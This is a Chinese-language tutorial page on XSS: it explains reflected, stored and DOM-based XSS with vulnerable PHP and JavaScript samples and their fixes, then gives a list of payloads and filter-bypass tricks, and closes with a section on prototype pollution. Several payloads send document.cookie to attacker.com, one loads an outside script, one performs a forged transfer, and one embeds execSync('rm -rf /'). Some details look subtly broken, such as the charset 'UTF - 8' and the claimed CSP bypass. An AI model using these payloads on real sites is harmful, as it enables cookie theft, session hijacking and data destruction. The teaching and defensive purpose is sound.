当前位置: 首页 > web >正文

XSS漏洞知识总结

一、XSS漏洞原理

1.概述

XSS被称为跨站脚本攻击(Cross Site Scripting),由于和层叠样式表(Cascading Style Sheets,CSS)重名,改为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击!

主要基于JavaScript语言进行恶意攻击,因为js非常灵活操作html、css、浏览器。

2.利用方式

利用网页开发时web应用程序对用户输入过滤不足导致将恶意代码注入到网页中,使用户浏览器加载并执行恶意代码,通常是JavaScript类型,也包括java、vbs、flash、html等。

3.执行方式

用户浏览被XSS注入过的网页,浏览器就会解析这段代码,就被攻击了。因为浏览器当中有JavaScript解析器,浏览器不会判断代码是否恶意,只要符合语法规则,就直接解析了。

4.攻击对象

客户端攻击,对象大多为用户,网站管理员。
还有微博,网页留言板,聊天室等收集用户输入的地方。

5.XSS危害

(1)窃取cookie

因为大部分人喜欢将密码储存到浏览器当中,所以黑客一般渗透的时候就会先来浏览器查看已保存的cookie 来盗取各种用户账号

(2)未授权操作

js特性很强大,黑客会直接代替用户在html进行各类操作。比如劫持会话,刷流量,执行弹窗广告,还能记录用户的键盘输入。

(3)传播蠕虫病毒

6.简单代码

<?php
$input = $_GET["XSS"];
echo "<div>".$input."</div>";
?>

在这段PHP代码中 主要具有两个功能:

1.获取用户输入$input = $_GET["XSS"]; 这行代码的作用是从 HTTP GET 请求的参数中获取名为 XSS 的参数值 。比如访问 http://yourdomain.com/yourscript.php?XSS=test 时,$input 变量就会被赋值为 test 。

2.输出内容到页面echo "<div>".$input."</div>"; 会把获取到的 $input 变量的值,包裹在 <div> 标签里,输出到页面的 HTML 中,最终在浏览器渲染后,会以 <div> 包含对应内容的形式展示。

但是这段代码存在 反射型 XSS(跨站脚本攻击)漏洞 :

因为它直接把用户可控的 GET 参数(未做任何过滤、转义处理)拼接到 HTML 输出里。如果攻击者构造恶意请求,比如让用户访问 http://yourdomain.com/yourscript.php?XSS=<script>alert('恶意脚本执行')</script> ,当页面执行 echo 输出时,浏览器会把 <script> 里的代码当作合法 JavaScript 执行,可能导致弹窗骚扰用户、窃取用户 Cookie(进而冒充用户身份)、劫持会话等危害。

若要安全输出用户输入,需对内容进行 HTML 转义,使用 htmlspecialchars 函数,示例:

<?php
$input = $_GET["XSS"];
// 转义特殊字符,避免 XSS,指定编码为 UTF-8,处理单双引号
echo "<div>".htmlspecialchars($input, ENT_QUOTES, 'UTF-8')."</div>";
?>

这样能把像 < > 等特殊字符转成 HTML 实体(如 < 转成 &lt; ),保证浏览器当作文本渲染,而非可执行代码,从而防范 XSS 攻击 。 

二、XSS漏洞分类

1.反射型XSS

反射型XSS 是非持久性、参数型的跨站脚本,也是最容易出现的XSS漏洞。反射型XSS JS 代码在Web 应用的参数(变量)中,如搜索框的反射型XSS。在搜索框中,提交PoC[scriptalert(/xss/)/script],点击搜索,即可触发反射型XSS。注意到,我们提交的poc 会出现在search.php 页面的keywords 参数中。
原理

用户在请求某个URL地址时,会携带一部分数据。当客户端进行访问某条链接时,攻击者可以将恶意代码注入到URL,如果服务器端未对URL携带的参数做判断和过滤,直接返回响应页面,那么XSS攻击代码就会被一起传输到用户的浏览器,触发反射型XSS。

特点

非持久性
参数脚本
js代码在web应用的参数当中:搜索框

数据流量:浏览器---->后端---->浏览器

案例

场景假设:

假设有一个网站,其中有一个搜索页面search.php ,原本设计是让用户输入关键词,然后返回搜索结果。但是,该页面的代码没有对用户输入进行安全处理。

search.php 的原始代码(存在漏洞版本)如下:

<?php
// 获取用户通过GET方式传递的关键词
$keyword = $_GET['keyword'];
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head><meta charset="UTF-8"><title>搜索结果</title>
</head>
<body><h1>搜索关键词:<?php echo $keyword;?></h1><!-- 这里假设会展示搜索结果,实际可能是数据库查询后的内容展示 --><p>暂未找到相关结果。</p>
</body>
</html>

上述代码直接将用户通过GET请求传入的keyword参数输出到 HTML 页面中,没有进行任何过滤或转义处理。

 攻击过程:

攻击者构造一个恶意的 URL,例如:

http://example.com/search.php?keyword=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

当受害者点击这个链接时:

 
  1. 服务器接收到请求,获取到keyword参数值为恶意的 JavaScript 代码。
  2. 服务器将keyword的值直接输出到 HTML 页面中,浏览器解析页面时,会执行这段恶意的 JavaScript 代码。
  3. 代码会将受害者当前网站的 Cookie 信息发送到攻击者指定的http://attacker.com/steal.php 页面,攻击者通过steal.php脚本就可以获取到受害者的 Cookie。
  4. 攻击者拿到 Cookie 后,可能会利用该 Cookie 进行会话劫持,冒充受害者登录网站,执行各种非法操作,比如修改受害者的个人信息、进行交易等。

 如何防御:

要修复这个反射型 XSS 漏洞,可以对输出到 HTML 页面中的用户输入进行转义,使用htmlspecialchars函数,修改后的search.php代码如下:

<?php
// 获取用户通过GET方式传递的关键词
$keyword = $_GET['keyword'];
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head><meta charset="UTF-8"><title>搜索结果</title>
</head>
<body><h1>搜索关键词:<?php echo htmlspecialchars($keyword, ENT_QUOTES, 'UTF-8');?></h1><!-- 这里假设会展示搜索结果,实际可能是数据库查询后的内容展示 --><p>暂未找到相关结果。</p>
</body>
</html>

htmlspecialchars函数会将特殊的 HTML 字符转换为 HTML 实体,比如将<转换为&lt;,这样浏览器就会将其当作普通文本显示,而不会执行恶意脚本,从而有效防范反射型 XSS 攻击。

2.存储型XSS

存储型XSS是持久性跨站脚本,其持久性体现在XSS代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中,存储型XSS通常发生在留言板等地方,我们在留言板位置留言并将恶意代码写进数据库中,此时我们只完成了第一步即把恶意代码写入数据库,因为XSS使用的JS代码的运行环境是浏览器,所以需要浏览器从服务器载入恶意的XSS代码才能真正触发XSS,此时需要我们模拟网站后台管理员的身份查看留言。

原理

被保存到服务器上,显示到HTML页面中,经常出现在用户评论的页面,攻击者将XSS代码保存到数据库中,当用户在此访问这个页面时,就会触发并执行XSS代码,窃取用户的敏感信息。

特点

危害性最大:持久的保存在服务器上
持久型XSS
js代码不在某个参数中,而是被写进了数据库或文件可以永久保存数据的介质中,如留言板等。

数据流量走向:浏览器—>后端—>数据库—>后端—>浏览器

案例 

场景假设:

假设存在一个简单的留言板网站,使用 PHP 和 MySQL 搭建,允许用户输入姓名和留言内容,管理员可以在后台查看所有留言。

漏洞代码分析: 

  • 前端页面(index.html:包含一个表单,用于用户提交姓名和留言。
<!DOCTYPE html>
<html><body><form action="submit.php" method="post"><label for="name">姓名:</label><input type="text" id="name" name="name" required><br><label for="message">留言:</label><textarea id="message" name="message" required></textarea><br><input type="submit" value="提交"></form>
</body></html>
  • 后端处理页面(submit.php:接收前端提交的数据,将其插入到数据库中,但未对数据进行任何安全处理。
<?php
// 数据库连接配置
$servername = "localhost";
$username = "root";
$password = "password";
$dbname = "guestbook";// 创建连接
$conn = new mysqli($servername, $username, $password, $dbname);// 检查连接
if ($conn->connect_error) {die("连接失败: ". $conn->connect_error);
}// 获取用户输入
$name = $_POST['name'];
$message = $_POST['message'];// 插入数据到数据库,未对输入进行处理
$sql = "INSERT INTO messages (name, message) VALUES ('$name', '$message')";
if ($conn->query($sql) === TRUE) {echo "留言提交成功";
} else {echo "Error: ". $sql. "<br>". $conn->error;
}$conn->close();
?>
  • 查看留言页面(view.php:从数据库中读取留言,并显示在页面上,同样未对从数据库中取出的数据进行处理。
<?php
// 数据库连接配置
$servername = "localhost";
$username = "root";
$password = "password";
$dbname = "guestbook";// 创建连接
$conn = new mysqli($servername, $username, $password, $dbname);// 检查连接
if ($conn->connect_error) {die("连接失败: ". $conn->connect_error);
}// 从数据库获取留言
$sql = "SELECT * FROM messages";
$result = $conn->query($sql);if ($result->num_rows > 0) {while($row = $result->fetch_assoc()) {echo "姓名: ". $row["name"]. "<br>";echo "留言: ". $row["message"]. "<br><hr>";}
} else {echo "没有留言";
}$conn->close();
?>

攻击过程: 

  1. 攻击者访问留言板页面index.html,在姓名或留言输入框中输入恶意脚本,例如在留言输入框中输入<script>alert('你被XSS攻击了!')</script>,然后提交表单。
  2. submit.php页面将攻击者输入的数据未经处理直接插入到数据库中。
  3. 当管理员访问view.php页面查看留言时,浏览器从服务器获取到包含恶意脚本的留言数据,并将其渲染到页面中。由于浏览器会执行页面中的 JavaScript 代码,所以恶意脚本被执行,弹出 “你被 XSS 攻击了!” 的警告框。如果攻击者将恶意脚本编写得更复杂,例如<script>fetch('https://attacker.com/steal.php', {method: 'POST', body: document.cookie});</script>,还可以将管理员的 Cookie 等敏感信息发送到攻击者的服务器,进而可能实现会话劫持等更严重的攻击。

修复方法: 

  • submit.php页面中,对用户输入的数据进行严格的过滤和转义,使用htmlspecialchars函数将特殊的 HTML 字符转换为 HTML 实体,例如:
$name = htmlspecialchars($_POST['name'], ENT_QUOTES, 'UTF - 8');
$message = htmlspecialchars($_POST['message'], ENT_QUOTES, 'UTF - 8');
  • view.php页面中,同样对从数据库中取出并要输出到页面的数据进行转义处理,再进行显示,以确保恶意脚本不会被执行。

3.DOM型XSS

DOM XSS 比较特殊。owasp 关于DOM XSS 的定义是基于DOM XSS 是一种XSS 攻击,其中攻击的payload由于修改受害者浏览器页面的DOM 树而执行的。其特殊的地方就是payload 在浏览器本地修改DOM 树而执行,并不会传到服务器上,这也就使得DOM XSS 比较难以检测。
原理

基于文档对象模型(DOM)的一种漏洞。这种XSS与反射型XSS、存储型XSS有着本质的区别,它的攻击代码不需要服务器解析响应,触发XSS依靠浏览器端的DOM解析,客户端的JavaScript脚本可以访问浏览器的DOM并修改页面的内容,不依赖服务器的数据,直接从浏览器端获取数据并执行。

特点
  • 不经过服务器:恶意脚本的注入和执行完全在前端完成,服务器未参与数据存储或输出,因此传统的服务器端过滤可能失效。
  • 依赖前端 JavaScript:漏洞根源是前端代码对 DOM 操作的不安全处理,需重点关注innerHTMLouterHTMLdocument.write()等危险 API 的使用。

非持久性

数据流量:URL—>浏览器

案例

场景假设:

一个简单的网页,功能是 “搜索结果展示”:用户输入搜索关键词后,页面通过 JavaScript 直接从 URL 的search参数中读取内容,并动态插入到页面 DOM 中,用于显示 “您搜索的内容是:XXX”

漏洞代码(前端 HTML)

<!DOCTYPE html>
<html>
<head><title>DOM型XSS示例</title>
</head>
<body><h1>搜索结果</h1><!-- 显示搜索关键词的区域 --><div id="searchResult"></div><script>// 从URL中获取search参数的值(例如:?search=test)function getParameter(name) {const urlParams = new URLSearchParams(window.location.search);return urlParams.get(name);}// 直接将参数值插入到页面DOM中const searchTerm = getParameter('search');document.getElementById('searchResult').innerHTML = `您搜索的内容是:${searchTerm}`;</script>
</body>
</html>

漏洞分析

代码的核心问题在于:通过innerHTML直接将用户可控的search参数值插入到 DOM 中,且未做任何过滤或转义。

 
  • innerHTML会将内容解析为 HTML 并执行其中的脚本,而非当作纯文本处理。
  • 用户输入的内容(通过 URL 参数search传递)完全可控,攻击者可构造恶意脚本。

攻击过程 

1.攻击者构造恶意 URL
攻击者在search参数中插入恶意 JavaScript 代码,例如:

http://example.com/search.html?search=<script>alert('DOM XSS攻击成功')</script>

2.受害者访问 URL
当受害者点击该 URL 时,页面通过 JavaScript 读取search参数的值,并通过innerHTML插入到searchResult节点中。

3.恶意脚本执行
浏览器解析页面时,会将<script>标签内的代码当作合法脚本执行,弹出 “DOM XSS 攻击成功” 的警告框。

4.更危险的攻击
攻击者可编写窃取 Cookie 的脚本,例如:

http://example.com/search.html?search=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

受害者访问后,其 Cookie 会被发送到攻击者的服务器,可能导致会话劫持。

 修复方法

核心原则:避免将用户可控内容通过innerHTML等危险方式插入 DOM,或对内容进行严格转义。

方法 1:使用textContent替代innerHTML(推荐)

textContent会将内容当作纯文本处理,不会解析 HTML 或执行脚本:

// 安全的写法:用textContent替代innerHTML
document.getElementById('searchResult').textContent = `您搜索的内容是:${searchTerm}`;
方法 2:对内容进行 HTML 转义

若必须使用innerHTML,需先将特殊字符转义为 HTML 实体(如<&lt;):

// 定义转义函数
function escapeHtml(unsafe) {return unsafe.replace(/[&<>"']/g, function(match) {const entities = {'&': '&amp;','<': '&lt;','>': '&gt;','"': '&quot;',"'": '&#039;'};return entities[match];});
}// 转义后再插入DOM
const safeSearchTerm = escapeHtml(searchTerm || '');
document.getElementById('searchResult').innerHTML = `您搜索的内容是:${safeSearchTerm}`;

DOM 型 XSS 的防御核心在于规范前端 DOM 操作,避免信任用户输入的内容。

三、XSS payload及变形

1.基础反射型 / 存储型 XSS Payloads

(1) 基础弹窗测试
<script>alert('XSS')</script>
<svg/onload=alert(1)>
(2) Cookie 窃取(最危险)
<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
(3) 会话劫持(结合 CSRF)
<script>window.open('https://victim-site.com/transfer?amount=1000&to=attacker')</script>

2.变形与绕过技术

(1) 大小写混淆
<ScRiPt>alert('XSS')</ScRiPt>
(2) 标签嵌套绕过过滤
<scr<script>ipt>alert('XSS')</scr</script>ipt>
(3) 事件处理函数(无需<script>标签)
<img src="x" onerror="alert('XSS')">
<div onmouseover="alert('XSS')">Hover me</div>
<input type="text" onfocus="alert('XSS')">
(4) HTML 实体编码
&#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;  <!-- <script>alert(1)</script> -->
(5) JavaScript URI 编码
javascript:alert('XSS')
(6)SVG 注入
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')">

3.DOM 型 XSS 专用 Payloads

(1)URL 参数注入(利用location.hashlocation.search
// 假设漏洞点在location.hash中
http://example.com/#<script>alert('XSS')</script>// 利用document.write()
http://example.com/search?term=<script>document.write('XSS')</script>
(2)利用eval()/setTimeout()等动态执行函数
// 假设存在漏洞:eval(user_input)
http://example.com?data=alert('XSS')     // 结合 onerror 或其他事件触发// 变形:
http://example.com?callback=alert('XSS')     // JSONP回调注入

4.高级变形技术

(1) 编码绕过(Base64/Unicode)
<script>eval(atob('YWxlcnQoJ1hTUycp'))</script>  <!-- 解码后为alert('XSS') -->
(2) 利用 HTML5 特性
<video src="x" onerror="alert('XSS')"></video>
<audio src="x" onerror="alert('XSS')"></audio>
(3) 跨协议攻击
<script src="https://attacker.com/malicious.js"></script>
(4) CSS 注入(结合 XSS)
<style>body{background-image:url('javascript:alert("XSS")')}</style>

 5.防御绕过策略

(1)过滤<script>标签:

使用事件处理函数(如onerror)或 SVG 替代。

(2)转义引号

使用不需要引号的事件(如<svg onload>)。

(3)CSP(内容安全策略)绕过
<!-- 假设CSP允许'self',但未限制data: -->
<script src="data:text/javascript,alert('XSS')"></script>
(4)JavaScript 混淆
[].forEach.call('alert("XSS")'.split(''),function(c){document.write(c)})

补充

原型链污染

原型链污染(Prototype Pollution)是一种 JavaScript 特有的安全漏洞,攻击者通过修改 JavaScript 对象的原型(Object.prototype)来改变所有对象的行为。这种漏洞可能导致严重的安全后果,如任意代码执行、XSS 攻击或绕过安全机制。

一、JavaScript 原型链基础

JavaScript 使用原型继承,每个对象都有一个内部属性[[Prototype]](可通过__proto__访问)。当访问一个对象的属性时,JavaScript 会先查找对象本身,若找不到则沿原型链向上查找。所有对象最终继承自Object.prototype

示例

const obj = {};
obj.toString(); // 继承自Object.prototype.toString
二、原型链污染原理

攻击者通过修改Object.prototype注入新属性或方法,导致所有对象(包括系统对象)继承这些改动。常见的注入点是允许用户修改对象属性的函数(如配置合并、递归赋值等)。

攻击条件

  1. 应用动态修改对象属性(尤其是嵌套对象)。
  2. 未对用户输入进行严格过滤。
三、漏洞示例
 1. 基础污染(通过__proto__
const userInput = JSON.parse('{"__proto__":{"isAdmin":true}}');
const obj = {};
console.log(obj.isAdmin); // 输出true,原型被污染
2. 真实场景:配置合并函数

许多库(如lodashwebpack)提供深合并功能,若未过滤__proto__,可能导致污染:

function merge(target, source) {for (const key in source) {if (typeof target[key] === 'object' && typeof source[key] === 'object') {merge(target[key], source[key]); // 递归合并} else {target[key] = source[key]; // 直接赋值}}return target;
}// 攻击向量
const payload = JSON.parse('{"__proto__":{"secret":"hacked"}}');
const config = {};merge(config, payload);
console.log({}.secret); // 输出"hacked",所有对象被污染
四、攻击场景
1. 绕过 JWT 验证
// 假设应用通过obj.token存在性验证用户
const payload = JSON.parse('{"__proto__":{"token":"admin"}}');
merge({}, payload);const user = {};
if (user.token) {console.log("已认证为管理员"); // 绕过验证
}
2. XSS 攻击
// 假设应用将用户输入直接嵌入HTML
const payload = JSON.parse('{"__proto__":{"toString":"<script>alert("XSS")</script>"}}');
merge({}, payload);const output = `<div>${{}}</div>`; // 触发XSS
3. 任意代码执行

通过污染Function.prototypeprocess对象(Node.js 环境):

// Node.js环境
const payload = JSON.parse('{"__proto__":{"constructor":{"prototype":{"env":{"NODE_OPTIONS":"--require=child_process;child_process.execSync(\"rm -rf /\")"}}}}}}');
merge({}, payload);
// 后续代码执行时可能触发命令执行
五、防御措施
1. 禁止修改原型属性

在合并函数中过滤__proto__constructorprototype

function safeMerge(target, source) {for (const key in source) {if (key === '__proto__' || key === 'constructor' || key === 'prototype') {continue; // 跳过原型相关属性}// 其他合并逻辑...}
}
2. 使用安全的解析函数

避免直接解析用户输入的 JSON,使用JSON.parse的 reviver 参数:

const safeObj = JSON.parse(userInput, (key, value) => {if (key === '__proto__') return undefined;return value;
});
3. 禁用原型继承

使用Object.create(null)创建无原型的对象:

const obj = Object.create(null); // 没有继承任何属性
4. 限制用户输入

只允许白名单内的字符或格式,避免复杂对象结构。

http://www.xdnf.cn/news/15892.html

相关文章:

  • [spring6: AspectMetadata AspectInstanceFactory]-源码解析
  • PCIe RAS学习专题(3):AER内核处理流程梳理
  • 消息队列:数字化通信的高效纽带
  • 1009 - 数组逆序
  • Spring监听器
  • 2.4 组件间通信Props(父传子)
  • Rust Web 全栈开发(九):增加教师管理功能
  • 【SVM smote】MAP - Charting Student Math Misunderstandings
  • Custom SRP - Custom Render Pipeline
  • RabbitMQ01——基础概念、docker配置rabbitmq、内部执行流程、五种消息类型、测试第一种消息类型
  • RabbitMQ—事务与消息分发
  • 软考 系统架构设计师系列知识点之杂项集萃(113)
  • AJAX概述
  • c++ 基本语法易错与技巧总结
  • 零基础学习性能测试-linux服务器监控:内存监控
  • fastjson2 下划线字段转驼峰对象
  • 【RK3576】【Android14】分区划分
  • 石子问题(区间dp)
  • 从Prompt到结构建模:如何以数据驱动重构日本语言学校体系?以国际日本语学院为例
  • Linux:lvs集群技术
  • LVS四种工作模式深度解析
  • 千线万网,电路之行——LVS检查的内核逻辑
  • Python day18
  • 统计EfficientNet-B7的参数个数。
  • 华为擎云L420安装LocalSend
  • 单元测试学习+AI辅助单测
  • 【图像处理基石】什么是小波变换?
  • 美国VPS服务器Linux内核参数调优的实践与验证
  • iOS 通知机制及底层原理
  • 突破 MySQL 性能瓶颈:死锁分析 + 慢查询诊断 + 海量数据比对实战